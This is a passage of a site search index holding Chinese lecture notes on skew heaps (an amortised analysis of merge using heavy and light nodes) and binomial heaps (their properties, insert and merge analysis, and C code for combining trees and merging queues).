<p>\u5b9a\u4e49\u52bf\u51fd\u6570\u4e4b\u524d\uff0c\u6211\u4eec\u8981\u5148\u5b9a\u4e49\u4e00\u4e9b\u5176\u5b83\u7684\u4e1c\u897f</p> <p>Definition</p> <p>\u6211\u4eec\u79f0\u4e00\u4e2a\u7ed3\u70b9 P \u662f\u91cd\u7684\uff08heavy\uff09\uff0c\u5982\u679c\u5b83\u7684\u53f3\u5b50\u6811\u7ed3\u70b9\u4e2a\u6570\u81f3\u5c11\u662f P \u7684\u6240\u6709\u540e\u4ee3\u7684\u4e00\u534a\uff08\u540e\u4ee3\u5305\u62ec P \u81ea\u8eab\uff09\u3002\u53cd\u4e4b\u79f0\u4e3a\u8f7b\u7ed3\u70b9\uff08light node\uff09</p> <p>\u5f15\u7406</p> <p>\u5bf9\u4e8e\u53f3\u8def\u5f84\u4e0a\u6709 \\(l\\) \u4e2a\u8f7b\u7ed3\u70b9\u7684\u659c\u5806\uff0c\u6574\u4e2a\u659c\u5806\u81f3\u5c11\u6709 \\(2^l \u2212 1\\) \u4e2a\u7ed3\u70b9\uff0c\u8fd9\u610f\u5473\u7740\u4e00\u4e2a \\(n\\) \u4e2a\u7ed3\u70b9\u7684\u659c\u5806\u53f3\u8def\u5f84\u4e0a\u7684\u8f7b\u7ed3\u70b9\u4e2a\u6570\u4e3a \\(O(\\log n)\\)\u3002</p> <p>\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u6570\u5b66\u5f52\u7eb3\u6cd5\u6765\u8bc1\u660e\uff1a</p> <p>\u9996\u5148\uff0c\u5bf9\u4e8el=1,\u6574\u68f5\u6811\u81f3\u5c11\u6709\\(2^1-1=1\\)\u4e2a\u7ed3\u70b9\uff0c\u7ed3\u8bba\u662f\u6b63\u786e\u7684\uff1b \u5047\u8bbe\u5bf9\u4e8e\u53f3\u8def\u5f84\u4e0a\u6709\u5c0f\u4e8e\u7b49\u4e8e\\(l\\)\u4e2a\u8f7b\u7ed3\u70b9\u7684\u659c\u5806\uff0c\u6574\u4e2a\u659c\u5806\u81f3\u5c11\u6709\\(2^l-1\\)\u4e2a\u7ed3\u70b9\u7684\u7ed3\u8bba\u90fd\u6210\u7acb \u73b0\u5728\u8003\u8651\u53f3\u8def\u5f84\u4e0a\u6709\\(l+1\\)\u4e2a\u8f7b\u7ed3\u70b9\u7684\u659c\u5806\u3002 \u8bbe\u53f3\u8def\u5f84\u4e0a\u7b2c\u4e00\u4e2a\u8f7b\u7ed3\u70b9\u4e3aP\uff0c\u5982\u679c\u628a\u8fd9\u4e2a\u7ed3\u70b9\u53ca\u5176\u5de6\u5b50\u6811\u4e00\u8d77\u5220\u9664\uff0c\u5219\u81f3\u5c11\u5220\u9664\u4e86\u4ee5P\u4e3a\u6839\u7684\u5b50\u6811\u7684\u6240\u6709\u7684\u7ed3\u70b9\u7684\u4e00\u534a\u518d\u52a0\u4e00(\u53f3\u5b50\u6811\u8282\u70b9\u6570\u52a0\u6839)\uff0c\u56e0\u4e3aP\u662f\u8f7b\u7684\uff1b\u5219\u5269\u4e0b\u7684\u53f3\u8def\u5f84\u4e0a\u6709\\(l\\)\u4e2a\u8f7b\u7ed3\u70b9\uff0c\u6839\u636e\u5f52\u7eb3\u5047\u8bbe\uff0c\u5269\u4e0b\u7684\u7ed3\u70b9\u81f3\u5c11\u6709\\(2^l-1\\)\u4e2a\uff0c\u52a0\u4e0a\u5220\u6389\u7684\u7ed3\u70b9\uff0c\u6574\u4e2a\u659c\u5806\u81f3\u5c11\u6709\\(2*(2^l-1)+1\\)</p> <p>\u6211\u4eec\u9700\u8981\u8bc1\u660e\u7684\u662f</p> <p>\u82e5\u6211\u4eec\u6709\u4e24\u4e2a\u659c\u5806 \\(H1\\) \u548c \\(H2\\)\uff0c\u5b83\u4eec\u5206\u522b\u6709 \\(n_1\\) \u548c \\(n_2\\) \u4e2a\u7ed3\u70b9\uff0c\u5219\u5408\u5e76 \\(H1\\) \u548c \\(H2\\) \u7684\u644a\u8fd8\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a \\(O(\\log n)\\)\uff0c\u5176\u4e2d \\(n = n_1 + n_2\\)\u3002</p> <p>\u56e0\u4e3ainsert\u548cdelete\u90fd\u662f\u4ee5merge\u4e3a\u57fa\u7840\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u53ea\u9700\u8981\u8bc1\u660emerge\u7684\u644a\u8fd8\u65f6\u95f4\u590d\u6742\u5ea6\u5373\u53ef\u3002</p> <p>Proof</p> <p>\u8bc1\u660e: \u6211\u4eec\u5b9a\u4e49\u52bf\u51fd\u6570 \\(\\Phi(Hi)\\) \u7b49\u4e8e\u5806 \\(Hi\\) \u7684\u91cd\u7ed3\u70b9\uff08heavy node\uff09\u7684\u4e2a\u6570\uff0c\u5e76\u4ee4 H3 \u4e3a\u5408\u5e76\u540e\u7684\u65b0\u5806.\u6211\u4eec\u8bbe \\(Hi(i = 1, 2)\\) \u7684\u53f3\u8def\u5f84\u4e0a\u7684\u8f7b\u7ed3\u70b9\u6570\u91cf\u4e3a \\(li\\)\uff0c\u91cd\u7ed3\u70b9\u6570\u91cf\u4e3a \\(hi\\)\uff0c\u56e0\u6b64\u771f\u5b9e\u7684\u5408\u5e76\u64cd\u4f5c\u6700\u574f\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a </p> \\[ci = l1 + l2 + h1 + h2\\] <p>(\u6240\u6709\u64cd\u4f5c\u90fd\u5728\u53f3\u8def\u5f84\u4e0a\u5b8c\u6210)\u3002\u56e0\u6b64\u6839\u636e\u644a\u8fd8\u5206\u6790\u6211\u4eec\u77e5\u9053\u644a\u8fd8\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a</p> \\[     \\hat{ci} = ci + \\Phi(H3) \u2212 (\\Phi(H1) + \\Phi(H2)) \\] <p>\u4e8b\u5b9e\u4e0a\uff0c\u5728 merge \u524d\u6211\u4eec\u53ef\u4ee5\u8bb0\\(\\Phi(H1) + \\Phi(H2) = h1 + h2 + h\\),\u5176\u4e2d \\(h\\) \u8868\u793a\u4e0d\u5728\u53f3\u8def\u5f84\u4e0a\u7684\u91cd\u7ed3\u70b9\u4e2a\u6570\u3002\u73b0\u5728\u6211\u4eec\u8981\u8003\u5bdf\u5408\u5e76\u540e\u7684\u60c5\u51b5\uff0c\u4e8b\u5b9e\u4e0a\u6211\u4eec\u6709\u4e24\u4e2a\u975e\u5e38\u91cd\u8981\u7684\u89c2\u5bdf\uff1a</p> <ol> <li> <p>\u53ea\u6709\u5728 H1 \u548c H2 \u53f3\u8def\u5f84\u4e0a\u7684\u7ed3\u70b9\u624d\u53ef\u80fd\u6539\u53d8\u8f7b\u91cd\u72b6\u6001\uff0c\u8fd9\u662f\u5f88\u663e\u7136\u7684\uff0c\u56e0\u4e3a\u5176\u5b83\u7ed3\u70b9\u5408\u5e76\u524d\u540e\u5b50\u6811\u662f\u5b8c\u5168\u88ab\u590d\u5236\u7684\uff0c\u6240\u4ee5\u4e0d\u53ef\u80fd\u6539\u53d8\u8f7b\u91cd\u72b6\u6001\uff1b</p> </li> <li> <p>H1 \u548c H2 \u53f3\u8def\u5f84\u4e0a\u7684\u91cd\u7ed3\u70b9\u5728\u5408\u5e76\u540e\u4e00\u5b9a\u4f1a\u53d8\u6210\u8f7b\u7ed3\u70b9\uff0c\u8fd9\u662f\u56e0\u4e3a\u53f3\u8def\u5f84\u4e0a\u7ed3\u70b9\u4e00\u5b9a\u4f1a\u4ea4\u6362\u5de6\u53f3\u5b50\u6811\uff0c\u5e76\u4e14\u540e\u7eed\u6240\u6709\u7ed3\u70b9\u4e5f\u90fd\u4f1a\u7ee7\u7eed\u63d2\u5165\u5728\u5de6\u5b50\u6811\u4e0a\uff08\u8fd9\u4e5f\u8868\u660e\u8f7b\u7ed3\u70b9\u4e0d\u4e00\u5b9a\u53d8\u4e3a\u91cd\u7ed3\u70b9\uff09\u3002\u7ed3\u5408\u4ee5\u4e0a\u4e24\u70b9\uff0c\u6211\u4eec\u77e5\u9053\u5408\u5e76\u540e\u539f\u672c\u4e0d\u5728\u53f3\u8def\u5f84\u4e0a\u7684 h \u4e2a\u91cd\u7ed3\u70b9\u4ecd\u7136\u662f\u91cd\u7ed3\u70b9\uff0c\u5728\u53f3\u8def\u5f84\u4e0a\u7684\\(h1 + h2\\)\u4e2a\u91cd\u7ed3\u70b9\u5168\u90e8\u53d8\u6210\u8f7b\u7ed3\u70b9\uff0c\\(l1 + l2\\) \u4e2a\u8f7b\u7ed3\u70b9\u4e0d\u4e00\u5b9a\u90fd\u53d8\u91cd\uff0c\u56e0\u6b64\u5408\u5e76\u540e\u6211\u4eec\u6709\\(\\Phi(H3) \\leqslant l1 + l2 + h\\),\u4ee3\u5165\u6570\u636e\u8ba1\u7b97\u53ef\u5f97</p> </li> </ol> \\[     \\hat{ci} \\leqslant (l1 + l2 + h1 + h2) + (l1 + l2 + h) \u2212 (h1 + h2 + h) = 2(l1 + l2). \\] <p>\u6839\u636e\u524d\u9762\u7684\u5f15\u7406\uff0c\\(l1 + l2 = O(\\log n_1 + \\log n_2) = O(\\log(n_1 + n_2)) = O(\\log n)\\)\uff08\u8fd9\u91cc\u7684\u7b49\u53f7\u4e4b\u524d\u6709\u5b8c\u5168\u4e00\u6837\u7684\u8bf4\u660e\u8fc7\uff09\uff0c\u5e76\u4e14\u6ce8\u610f\u5230\u521d\u59cb\uff08\u7a7a\u5806\uff09\u52bf\u51fd\u6570\u4e00\u5b9a\u4e3a 0\u3002\u4e14\u4e4b\u540e\u603b\u662f\u975e\u8d1f\u7684\uff0c\u6240\u4ee5\u8fd9\u4e00\u52bf\u51fd\u6570\u5b9a\u4e49\u6ee1\u8db3\u8981\u6c42\uff0c\u56e0\u6b64\u6211\u4eec\u7684\u8bc1\u660e\u4e5f\u5c31\u5b8c\u6210\u4e86\u3002</p> <p>Key-point</p> <p>\u5bf9\u4e8e\u659c\u5806\u548c\u5de6\u5f0f\u5806\u7684\u5408\u5e76,\u662f\\(O(\\log n)\\)\u7684\uff0c\u8fd9\u4e2a\\(n\\)\u65e2\u53ef\u4ee5\u662f\u4e24\u4e2a\u5806\u7684\u5927\u5c0f\u4e4b\u548c\uff0c\u6216\u8005\u662f\\(\\max(n1,n2)\\),\u56e0\u4e3a</p> \\[     \\log n_1+\\log n_2 \\leqslant 2 \\log \\max(n1,n2) \\]"},{"location":"NOTE/ADS/wk4/","title":"\u4e8c\u9879\u5806(Binomial Heap)","text":"<p> \u7ea6 2173 \u4e2a\u5b57  110 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 9 \u5206\u949f</p>"},{"location":"NOTE/ADS/wk4/#_1","title":"\u4e8c\u9879\u5806\u7684\u5b9a\u4e49\u548c\u6027\u8d28","text":"<p>\u5728\u4e8c\u53c9\u5806(Binary Heap)\u7684\u57fa\u7840\u4e0a\uff0c\u6211\u4eec\u53ef\u4ee5\u5b9e\u73b0\u5728\u53ef\u4ee5\u5728 \\(O(n)\\) \u65f6\u95f4\u5185\u5b9e\u73b0 \\(n\\) \u4e2a\u7ed3\u70b9\u7684\u63d2\u5165\u5efa\u5806\u64cd\u4f5c\uff0c\u800c\u4e4b\u524d\u8ba8\u8bba\u7684\u5de6\u5f0f\u5806\u548c\u659c\u5806\u4e0d\u53ef\u4ee5</p> <p>Definition</p> <ul> <li>\u7ed3\u6784\u6027\u8d28\uff1a</li> <li>\u4e8c\u9879\u5806\u4e0d\u662f\u4e00\u68f5\u6811\uff0c\u800c\u662f\u7531\u8bb8\u591a\u6811\u7ec4\u6210\u7684\u68ee\u6797\uff0c\u5176\u4e2d\u6bcf\u4e00\u68f5\u6811\u79f0\u4e3a\u4e8c\u9879\u6811</li> <li>\u4e00\u4e2a\u4e8c\u9879\u5806\u4e2d\u7684\u6bcf\u68f5\u6811\u5177\u6709\u4e0d\u540c\u7684\u9ad8\u5ea6\uff0c\u6bcf\u4e00\u79cd\u9ad8\u5ea6\u7684\u4e8c\u9879\u6811\u6700\u591a\u53ea\u6709\u4e00\u68f5</li> <li>\u9ad8\u5ea6\u4e3a 0 \u7684\u4e8c\u9879\u6811\u662f\u4e00\u68f5\u5355\u8282\u70b9\u6811\uff1b\u9ad8\u5ea6\u4e3a \\(k\\) \u7684\u4e8c\u9879\u6811 \\(B_k\\) \u901a\u8fc7\u5c06\u4e00\u68f5\u4e8c\u9879\u6811 \\(B_{k\u22121}\\) \u9644\u63a5\u5230\u53e6\u4e00\u68f5\u4e8c\u9879\u6811 \\(B_{k\u22121}\\) \u7684\u6839\u4e0a\u800c\u6784\u6210</li> <li>\u5e8f\u6027\u8d28\uff1a\u6bcf\u68f5\u4e8c\u9879\u6811\u90fd\u4fdd\u6301\u5806\u5e8f\u6027\u8d28(\u6700\u5c0f\u5806\u6216\u8005\u6700\u5927\u5806)</li> </ul> <p>\u6839\u636e\u4e8c\u9879\u5806\u7684\u6027\u8d28\uff0c\u6211\u4eec\u6709\u4ee5\u4e0b\u7ed3\u8bba\uff1a</p> <p>\u4e8c\u9879\u6811\u7684\u8282\u70b9\u6570\u76ee\uff1a\\(B_k\\) \u7684\u4e8c\u9879\u6811\u5177\u6709 \\(2^k\\) \u4e2a\u8282\u70b9\uff0c\u8fd9\u53ef\u4ee5\u7531\u9012\u63a8\u5f88\u5bb9\u6613\u8bc1\u660e</p> <p>\u5728\u6df1\u5ea6\u4e3a\\(d\\)\u5904\u7684\u8282\u70b9\u6570\u6070\u597d\u5c31\u662f\u4e8c\u9879\u7cfb\u6570\\(\\begin{pmatrix} k \\\\ d \\end{pmatrix}\\)</p> <p>\u6570\u5b66\u5f52\u7eb3\u6cd5\u8bc1\u660e</p> <p>\u5bf9\u4e8e \\(k = 0\\) \u7684\u60c5\u51b5\u663e\u7136\u6b63\u786e\uff0c\u8bbe\u76f4\u5230 \\(k\\) \u7ed3\u8bba\u90fd\u662f\u6b63\u786e\u7684\uff0c\u5219\u5bf9\u4e8e \\(B_k+1\\)\uff0c\u7b2c\u4e00\u5c42\u548c \u6700\u540e\u4e00\u5c42\u53ea\u6709\u4e00\u4e2a\u7ed3\u70b9\u662f\u53ef\u4ee5\u76f4\u63a5\u5f97\u5230\u7684\uff0c\u5728\u5176\u5b83\u5c42\u4e2d\uff0c\u56de\u5fc6\u4e8c\u9879\u5806\u7684\u5b9a\u4e49\u662f\u7531\u4e24\u4e2a \\(B_k\\) \u63a5\u8d77\u6765\u7684\uff0c\u56e0\u6b64\u5728\u65b0\u6811\u7684\u6df1\u5ea6\u4e3a\\(d\\)\u7684\u5730\u65b9\uff0c\u7531\u4e24\u90e8\u5206\u7ec4\u6210\uff1a</p> <ul> <li>\u4e00\u90e8\u5206\u662f\u5728 \\(B_k\\) \u7684\u6df1\u5ea6\u4e3a \\(d\\) \u7684\u5730\u65b9\uff0c\u6709 \\(\\begin{pmatrix} k \\\\ d \\end{pmatrix}\\) \u4e2a\u7ed3\u70b9</li> <li>\u53e6\u4e00\u90e8\u5206\u662f\u5728 \\(B_k\\) \u7684\u6df1\u5ea6\u4e3a \\(d-1\\) \u7684\u5730\u65b9\uff0c\u6709 \\(\\begin{pmatrix} k \\\\ d-1 \\end{pmatrix}\\) \u4e2a\u7ed3\u70b9</li> </ul> <p>\u6545\u6211\u4eec\u53ea\u8981\u8bc1</p> \\[ \\begin{pmatrix} k+1 \\\\ d \\end{pmatrix} = \\begin{pmatrix} k \\\\ d \\end{pmatrix} + \\begin{pmatrix} k \\\\ d-1 \\end{pmatrix} \\] <p>\u8fd9\u7531\u4e8c\u9879\u6570\u7684\u6027\u8d28\u5f88\u5bb9\u6613\u8bc1\u660e</p> <p>Note</p> <p>\u53ef\u4ee5\u5c06\u4e8c\u9879\u5806\u4e0e\u4e8c\u8fdb\u5236\u8868\u793a\u8054\u7cfb\u8d77\u6765</p>"},{"location":"NOTE/ADS/wk4/#_2","title":"\u4e8c\u9879\u5806\u7684\u64cd\u4f5c","text":""},{"location":"NOTE/ADS/wk4/#findmin","title":"Findmin","text":"<p>\u76f4\u63a5\u904d\u5386\u6240\u6709\u6811,\u6ce8\u610f\u5230\u5bf9\u4e8e\u4e00\u4e2a\u6709\\(n\\)\u4e2a\u7ed3\u70b9\u7684\u4e8c\u9879\u5806\uff0c\u6700\u591a\u6709\\(\\log n\\)\u68f5\u6811\uff0c\u56e0\u6b64\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a\\(O(\\log n)\\)</p> <p>\u4e5f\u53ef\u4ee5\u901a\u8fc7\u4e13\u95e8\u8bb0\u5f55\u6700\u5c0f\u7684\u8282\u70b9\u6765\u5b9e\u73b0\\(O(1)\\)\u7684\u65f6\u95f4\u590d\u6742\u5ea6\uff0c\u5f53\u7136\u5728DeleteMin\u7684\u65f6\u5019\u9700\u8981\u91cd\u65b0\u627e\u5230\u6700\u5c0f\u7684\u8282\u70b9\u5e76\u66f4\u65b0</p>"},{"location":"NOTE/ADS/wk4/#insert-merge","title":"Insert &amp; merge","text":"<p>\u63d2\u5165\u662f\u7279\u6b8a\u7684\u5408\u5e76\u64cd\u4f5c\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06\u4e00\u4e2a\u65b0\u7684\u8282\u70b9\u770b\u4f5c\u662f\u4e00\u4e2a\u53ea\u6709\u4e00\u4e2a\u8282\u70b9\u7684\u4e8c\u9879\u5806\uff0c\u7136\u540e\u5c06\u5176\u4e0e\u539f\u6765\u7684\u4e8c\u9879\u5806\u5408\u5e76\u5373\u53ef\uff1b</p> <p>\u5408\u5e76\u64cd\u4f5c\u7684\u8fc7\u7a0b\u5341\u5206\u7c7b\u4f3c\u4e8c\u8fdb\u5236\u6570\u7684\u52a0\u6cd5\uff0c\u4f8b\u5982\u4e00\u4e2a\u4e8c\u9879\u5806\u6709\\(B_3,B_2,B_0\\),\u5176\u4e8c\u8fdb\u5236\u8868\u793a\u4e3a\\(1101\\)\uff0c\u53e6\u4e00\u4e2a\u4e8c\u9879\u5806\u6709\\(B_3,B_1,B_0\\)\uff0c\u5176\u4e8c\u8fdb\u5236\u8868\u793a\u4e3a\\(1011\\)\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06\u5176\u770b\u4f5c\u662f\u4e8c\u8fdb\u5236\u6570\u76f8\u52a0\uff0c\u7136\u540e\u5c06\u8fdb\u4f4d\u7684\u90e8\u5206\u5408\u5e76\u5f97\u5230\u65b0\u7684\u4e8c\u8fdb\u5236\u6570\\(11000\\),\u5219\u65b0\u7684\u4e8c\u9879\u5806\u4e3a\\(B_4,B_3\\)\uff0c\u6211\u4eec\u9700\u8981\u4fdd\u8bc1\u5806\u7684\u5b58\u50a8\u987a\u5e8f\u662f\u6309\u9ad8\u5ea6\u4ece\u5c0f\u5230\u5927\u6765\u6392\u5217\uff0c\u8fd9\u6837\u65f6\u95f4\u590d\u6742\u5ea6\u5c31\u662f\\(O(\\log n)\\)</p> <p>\u5bf9\u4e8e\u4ece\u7a7a\u5f00\u59cb\u63d2\u5165\u5efa\u5806\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u6211\u4eec\u9700\u8981\u505a\u7279\u6b8a\u7684\u5206\u6790\u3002\u56e0\u4e3a\u6211\u4eec\u662f\u8981\u5e73\u5747\u65f6\u95f4\u7684\u6700\u574f\u60c5\u51b5\uff0c\u4e8b\u5b9e\u4e0a\u4e5f\u5c31\u662f\u644a\u8fd8\u4ee3\u4ef7\u3002</p> <p>\u805a\u5408\u6cd5</p> <p>\u805a\u5408\u6cd5\u9700\u8981\u6bcf\u4e00\u6b65\u7684\u64cd\u4f5c\u590d\u6742\u5ea6\uff0c\u5b9e\u9645\u4e0a\u6211\u4eec\u968f\u4fbf\u6a21\u62df\u51e0\u6b65\u518d\u7ed3\u5408\u4e4b\u524d\u8ba8\u8bba\u7684\u5408\u5e76\u548c\u4e8c\u8fdb\u5236\u52a0\u6cd5\u4e4b\u95f4\u7684\u5173\u7cfb\u5c31\u53ef\u4ee5\u53d1\u73b0\uff0c\u63d2\u5165\u7684\u6574\u4e2a\u64cd\u4f5c\u4e0e\u4e8c\u8fdb\u5236\u6570\u52a01\u6709\u5b8c\u5168\u7684\u5bf9\u5e94\u5173\u7cfb\uff1a\u82e5\u662f\u9047\u5230\u4e86\u67d0\u4e00\u4f4d\u662f\\(1+1\\)\uff0c\u5219\u7528\u5e38\u6570\u64cd\u4f5c\u5b8c\u6210\u7b80\u5355\u7684\u5408\u5e76\u5373\u53ef\uff0c\u5982\u679c\u9047\u5230\\(0+1\\)\uff0c\u90a3\u4e48\u5f53\u524d\u6240\u6709\u7684\u4e8c\u9879\u6811\u5408\u8d77\u6765\u5c31\u662f\u6700\u540e\u7684\u7ed3\u679c\u3002\u57fa\u4e8e\u8fd9\u4e00\u89c2\u5bdf\u6211\u4eec\u77e5\u9053\uff0c\u56e0\u4e3a\\(0+1\\)\u5bf9\u5e94\u5c060\u7f6e1\uff0c\\(1+1\\)\u5bf9\u5e941\u7f6e0\uff0c\u8fd9\u4e24\u79cd\u60c5\u51b5\u90fd\u5bf9\u5e94\u4e8e\u5806\u7684\u5e38\u6570\u65f6\u95f4\u64cd\u4f5c\uff0c\u56e0\u6b64\u4ece\u7a7a\u6811\u8fde\u7eed\u63d2\u5165\\(n\\)\u7684\u9876\u70b9\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u4e0e\\(0+1+1 \\cdots (n \\ of \\ 1)\\)\u7684\u8fc7\u7a0b\u4e2d\u6570\u636e\u4e8c\u8fdb\u5236\u8868\u793a\u4e2d0\u548c1\u6bd4\u7279\u7ffb\u8f6c\u7684\u6b21\u6570\u603b\u548c\u3002\u4e8e\u662f\u7b97\u6cd5\u590d\u6742\u5ea6\u5c31\u5f88\u597d\u8ba1\u7b97\u4e86\uff0c\u56e0\u4e3a\u6211\u4eec\u77e5\u9053\\(n\\)\u5bf9\u5e94\u4e8e  \\(\\lfloor \\log n \\rfloor+1\\)\u4e2a\u4e8c\u8fdb\u5236\u4f4d\uff0c\u4e8b\u5b9e\u4e0a\u6700\u4f4e\u4f4d\u6bcf\u6b21\u52a01\u90fd\u4f1a\u53cd\u8f6c\u6bd4\u7279\uff0c\u6b21\u4f4e\u4f4d\u6bcf\u4e24\u6b21\u8fd0\u7b97\u53cd\u8f6c\u6bd4\u7279\uff0c\u5012\u6570\u7b2c\u4e09\u4f4d\u6bcf4\u6b21\u8fd0\u7b97\u53cd\u8f6c\u6bd4\u7279......\u4ee5\u6b64\u7c7b\u63a8\uff0c\\(n\\)\u6b21\u64cd\u4f5c\u7684\u6574\u4f53\u65f6\u95f4\u590d\u6742\u5ea6\u4e0e</p> \\[   n+ \\frac{n}{2} + \\frac{n}{4} + \\cdots + \\dfrac{n}{2^{m}} = O(n),m=\\lfloor \\log n \\rfloor+1 \\] <p>\u6709\u4e86\u8fd9\u4e2a\u7ed3\u8bba\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u77e5\u9053\uff0c\u4ece\u7a7a\u6811\u5f00\u59cb\u63d2\u5165\\(n\\)\u4e2a\u7ed3\u70b9\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u662f\\(O(n)\\)\u7684,\u6545\u5355\u6b65\u63d2\u5165\u7684\u644a\u8fd8\u4ee3\u4ef7\u662f\\(O(1)\\)\u7684</p> <p>\u52bf\u80fd\u6cd5</p> <p>\u5bf9\u4e8e\u590d\u6742\u7684\u64cd\u4f5c\uff0c\u5bf9\u5e94\u7740\u5f88\u591a\u6b21\u7684\u590d\u4f4d\u64cd\u4f5c(1\u53d80)\u548c\u4e00\u6b21\u7f6e\u4f4d(0\u53d81)\u64cd\u4f5c\uff0c\u6240\u4ee5\u5c06\u52bf\u51fd\u6570\u5b9a\u4e49\u4e3a \\(\\Phi=\\)\u4e8c\u9879\u5806\u4e2d\u4e8c\u9879\u6811\u7684\u4e2a\u6570\uff0c\u8fd9\u6837\u5728\u4e00\u6b21\u64cd\u4f5c\u4e4b\u540e\u52bf\u51fd\u6570\u7684\u4f1a\u4e0b\u964d\u5f88\u591a\uff1b</p> <p>\u5047\u8bbe\u4e00\u6b21\u64cd\u4f5c \\(c_i=k+1\\) \u6709 \\(k\\) \u6b21\u590d\u4f4d\uff1b\u90a3\u4e48</p> \\[     \\hat{c_i}=c_i+1-k=2 \\] <p>\u6545\u5355\u6b65\u64cd\u4f5c\u590d\u6742\u5ea6\u4e3a\\(O(1)\\)</p>"},{"location":"NOTE/ADS/wk4/#_3","title":"\u4e8c\u9879\u5806\u7684\u4ee3\u7801\u5b9e\u73b0","text":"<p>\u56e0\u4e3a\u6bcf\u4e2a\u7ed3\u70b9\u7684\u5b69\u5b50\u6570\u91cf\u53ef\u80fd\u4e0d\u53ea\u67092\u4e2a\uff0c\u56e0\u6b64\u6211\u4eec\u4f7f\u7528LeftChild\u548cNextSibling\u7684\u7ec4\u5408\u5b9e\u73b0\u3002\u76f4\u89c2\u4e0a\u6765\u770b\u7528LeftChild\u548cNextSibling\u662f\u8ba9\u4e8c\u9879\u6811\u7ffb\u8f6c\u4e86\uff1a\u539f\u5148\u662f\u6839\u7684\u5b50\u6811\u4ece\u5de6\u5230\u53f3\u9ad8\u5ea6\u4f9d\u6b21\u589e\u5927\uff0c\u73b0\u5728\u4f9d\u6b21\u51cf\u5c0f\u4e86\u3002\u5e76\u4e14\u4e3a\u4e86\u65b9\u4fbf\u7d22\u5f15\u6bcf\u68f5\u4e8c\u9879\u6811\uff0c\u6211\u4eec\u7528\u4e00\u4e2a\u6570\u7ec4\u5b58\u50a8\u6bcf\u68f5\u4e8c\u9879\u6811\u7684\u6839\uff0c\u5176\u4e2d\u6570\u7ec4\u7684\u7d22\u5f15\u5c31\u5bf9\u5e94\u4e8c\u9879\u6811\u7684\u9ad8\u5ea6</p> <p>Key-point</p> <p>\u76f8\u5f53\u4e8e\u8ba9\u6700\u5927\u7684\u5b69\u5b50\u7ba1\u7740\u5176\u5b83\u7684\u5144\u5f1f</p>"},{"location":"NOTE/ADS/wk4/#_4","title":"\u7ed3\u6784\u5b9a\u4e49","text":"<pre><code>typedef struct BinNode *Position;//\u6307\u9488\ntypedef struct Collection *BinQueue;//\u4e8c\u9879\u961f\u5217\ntypedef struct BinNode *BinTree;  //\u4e8c\u9879\u6811\n\nstruct BinNode \n{ \n    ElementType     Element;\n    Position        LeftChild;\n    Position        NextSibling;\n} ;\n\nstruct Collection \n{ \n    int         CurrentSize;  /* total number of nodes */\n    BinTree TheTrees[ MaxTrees ];//\u5b58\u50a8\u6bcf\u68f5\u4e8c\u9879\u6811\u7684\u6839\n} ;\n</code></pre>"},{"location":"NOTE/ADS/wk4/#o1","title":"\u5408\u5e76\u5927\u5c0f\u76f8\u540c\u7684\u6811(\\(O(1)\\)\u590d\u6742\u5ea6)","text":"<pre><code>BinTree\nCombineTrees( BinTree T1, BinTree T2 )\n{  /* merge equal-sized T1 and T2 */\n    if ( T1-&gt;Element &gt; T2-&gt;Element )\n        /* attach the larger one to the smaller one */\n        return CombineTrees( T2, T1 );\n    /* insert T2 to the front of the children list of T1 */\n    T2-&gt;NextSibling = T1-&gt;LeftChild;\n    T1-&gt;LeftChild = T2;\n    return T1;\n}\n</code></pre>"},{"location":"NOTE/ADS/wk4/#merge","title":"Merge","text":"<pre><code>BinQueue  Merge( BinQueue H1, BinQueue H2 )\n{   BinTree T1, T2, Carry = NULL;   \n    int i, j;\n    if ( H1-&gt;CurrentSize + H2-&gt; CurrentSize &gt; Capacity )  ErrorMessage();\n    H1-&gt;CurrentSize += H2-&gt; CurrentSize;\n    for ( i=0, j=1; j&lt;= H1-&gt;CurrentSize; i++, j*=2 ) {\n        T1 = H1-&gt;TheTrees[i]; T2 = H2-&gt;TheTrees[i]; /*current trees */\n        switch( 4*!!Carry + 2*!!T2 + !!T1 ) { \n        case 0: /* 000 */  break;\n        case 1: /* 001 */  break;   \n        case 2: /* 010 */  H1-&gt;TheTrees[i] = T2; H2-&gt;TheTrees[i] = NULL; break;\n        case 4: /* 100 */  H1-&gt;TheTrees[i] = Carry; Carry = NULL; break;\n        case 3: /* 011 */  Carry = CombineTrees( T1, T2 );\n                        H1-&gt;TheTrees[i] = H2-&gt;TheTrees[i] = NULL; break;\n        case 5: /* 101 */  Carry = CombineTrees( T1, Carry );\n                        H1-&gt;TheTrees[i] = NULL; break;\n        case 6: /* 110 */  Carry = CombineTrees( T2, Carry );\n                        H2-&gt;TheTrees[i] = NULL; break;\n        case 7: /* 111 */  H1-&gt;TheTrees[i] = Carry; \n                        Carry = CombineTrees( T1, T2 ); \n                        H2-&gt;TheTrees[i] = NULL; break;\n        } /* end switch */\n    } /* end for-loop */\n    return H1;\n}\n</code></pre> <ul> <li><code>4*!!Carry + 2*!!T2 + !!T1</code>\u7684\u4f5c\u7528\u662f\u5c06\u6811\u8f6c\u6362\u4e3a\u4e8c\u8fdb\u5236\u8868\u793a\uff0c\u5bf9\u4e8e\u7b2c\u4e00\u4e2a\u975e\uff0c\u5982\u679c\u662f\u7a7a\uff0c\u90a3\u4e48\u4e3a1\uff0c\u5982\u679c\u975e\u7a7a\uff0c\u90a3\u4e48\u4e3a0\uff0c\u518d\u53d6\u975e\uff0c\u5c31\u518d\u53d6\u53cd\uff0c\u7136\u540e\u8f6c\u6362\u4e3a3\u4f4d\u7684\u4e8c\u8fdb\u5236\u6570\u5b57</li> <li><code>000</code>\u4ec0\u4e48\u90fd\u4e0d\u7528\u505a\uff0c\u6b64\u65f6\u4e09\u4e2a\u4f4d\u7f6e\u90fd\u662f0</li> 